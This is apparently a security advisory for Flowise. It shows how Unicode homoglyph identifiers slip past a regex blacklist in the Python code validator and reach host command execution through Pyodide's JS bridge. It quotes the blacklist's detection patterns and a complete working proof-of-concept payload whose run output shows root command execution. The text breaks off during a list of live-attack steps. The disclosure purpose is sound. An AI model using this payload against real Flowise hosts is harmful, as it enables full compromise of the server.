Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
Summary
The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details
packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
```ts
{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules
```
Two design flaws combine into a bypass:
1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \b__class__\b never matches __cl𝐚ss__.
2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. __cl𝐚ss__, __subcl𝐚sses__, __b𝐚se__, __b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.
From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites:
- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates
customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated
pythonCode before pyodide.runPythonAsync on line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC
Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
```js
// npm install pyodide
const { loadPyodide } = require('pyodide')
const FORBIDDEN_PATTERNS = [
{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },
{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
if c.__name__ == 'catch_warnings':
cw = c()
bi = cw._module.__b\u{1D42E}iltins__
imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
imp = bi[imp_name]
js_mod = imp(chr(106)+chr(115))
cp_name = 'child' + chr(95) + 'process'
cp = js_mod.process.mainModule.require(cp_name)
opts = js_mod.Object.new(); opts.encoding = 'utf8'
result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
break
str(result)
`
;(async () => {
console.log('validator passes:', validate(payload)) // true
const py = await loadPyodide()
console.log(await py.runPythonAsync(payload))
})()
```
Run output on a stock host:
```
validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED
```
Live path against a Flowise deployment:
1. Workspace user (or any user able to
